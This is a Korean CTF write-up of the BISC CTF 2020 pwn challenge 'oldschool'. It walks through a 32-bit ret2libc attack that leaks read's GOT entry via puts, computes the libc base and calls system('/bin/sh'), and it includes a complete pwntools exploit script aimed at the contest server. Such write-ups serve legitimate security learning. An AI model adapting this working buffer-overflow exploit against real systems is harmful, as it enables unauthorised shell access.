CTF/Write UPs

[BISC CTF 2020 : pwn] oldschool 풀이

jir4vvit 2020. 11. 30. 22:13
문제 풀이 환경 : ubuntu 16.04.7

처음으로 대회시간 안에 CTF에서 포너블 문제를 풀었다. 

쉽고 간단한 문제지만... 기념으로 롸업을 작성해본다 ㅎ

 

제공된 파일은 두개, libc 파일과 바이너리 문제 파일이다. 

 

 

먼저 보호기법을 확인해 보았다.

보호기법을 먼저 확인해 보았다.

Partial RELRO... GOT overwriting을 하는 문제일까?

 

 

 

이제 IDA로 바이너리를 분석해보자.

main
vuln 함수

vuln 함수의 return을 보고 RET를 조작하여 main으로 돌려서 read함수의 got를 system 함수의 주소로 바꾸고 인자를 '/bin/sh'로 주어야겠다고 생각했다.

그 전에 read 함수의 got 주소가 leak되어야 한다.

 

 

여기서 주의해야할 게 "Hello BOB" 라는 문자열 뒤에 leak한 값이 출력되므로 recv 함수를 통해 "Hello BOB"를 먼저 받고나서 leak한 값을 가져와야 한다.

 

 

exploit 코드

from pwn import *
 
#p = process("./oldschool") 
p = remote("bisc.lordofpwn.kr", 1473 )
elf = ELF("./oldschool")
libc = ELF("./libc32.so.6")

puts_plt = elf.plt['puts']
main = elf.symbols['main']
read_got = elf.got['read']

payload = ''
payload += "A"*60

payload += p32(puts_plt)
payload += p32(main)
payload += p32(read_got)

#pause()

p.sendline(payload)

p.recv(len("Hello BOB\n"))
#p.interactive()

read_addr = u32(p.recv(4))

print hex(read_addr)

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
 
libc_base = read_addr - read_offset

print hex(libc_base)

system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset


payload = ''
payload += "A"*60
payload += p32(system_addr)
payload += "AAAA"
payload += p32(binsh_addr)

p.sendline(payload)

p.interactive()\

 

 

 

정말 기본적인 32bit 상에서의 ROP 문제인 것 같다.